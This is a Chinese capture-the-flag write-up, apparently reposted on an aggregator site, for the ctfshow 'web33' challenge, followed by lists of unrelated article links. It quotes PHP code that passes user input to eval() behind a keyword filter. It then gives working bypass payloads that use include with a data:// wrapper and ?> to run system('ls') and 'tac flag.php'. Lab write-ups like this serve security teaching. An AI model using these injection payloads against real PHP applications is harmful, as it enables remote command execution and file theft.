当前位置: 首页 > news >正文

[ctfshow web入门] web33

信息收集

相较于上一题,这题多了双引号的过滤。我猜测这一题的主要目的可能是为了不让使用$_GET['a']之类的语句,但是$_GET[a]也是一样的
没有括号可以使用include,没有引号可以使用$_GET
可以参考[ctfshow web入门] web32,其中的所有解法都没有使用到双引号,所以都没有失效

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

解题

我们取一个最简单的解法,这在[ctfshow web入门] web32中的方法1.1中使用过。
不是我不想整新活,而是实在没活了,上一题基本整完了。
data://text/plain:要求按照文本格式将内容嵌入代码中,使用方法:data://text/plain,content
其中?>利用了php的机制,当遇到?>时会自动添加一个;,也就是说<?php ehco 123 ?><?php ehco 123; ?>等效。我们利用这个机制绕过;的过滤。

?c=include$_GET[1]?>&1=data://text/plain,<?php system("ls") ?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php") ?>

在这里插入图片描述
web32    目录    web34

相关文章:

  • Manifold-IJ 2022.1.21 版本解析:IntelliJ IDEA 的 Java 增强插件指南
  • QEMU源码全解析 —— 块设备虚拟化(17)
  • Redis - 字典(Hash)结构和 rehash 机制
  • Java NIO之Buffer
  • [wifi SAE]wpa3-personal
  • [raspberrypi 0w and respeaker 2mic]实时音频波形
  • UE5 运行时动态将玩家手部模型设置为相机的子物体
  • HTML视频和音频
  • springboot调用python文件,python文件使用其他dat文件,适配windows和linux,以及docker环境的方案
  • 2025年优秀的文件加密软件排名
  • PostgreSQL-容器运行时索引修复
  • 6.1es新特性解构赋值
  • spring常用的设计模式
  • MySQL基础命令
  • 【蓝桥杯】15届java研究生组E砍柴
  • UIMeter-UI自动化软件(产品级)
  • 2025前端面试题
  • C++中std::move()的正确使用相关例子
  • C语言个人笔记
  • 前端面试总结3
  • 上海门户网站制/数据分析师报考官网
  • php网站有点/app拉新推广
  • 南宁网站建设优化/企业网站设计毕业论文
  • 深圳龙江网站设计/上海排名优化seo
  • 网站提交网址/百度云引擎搜索
  • 建设掌上银行官方网站/免费web服务器网站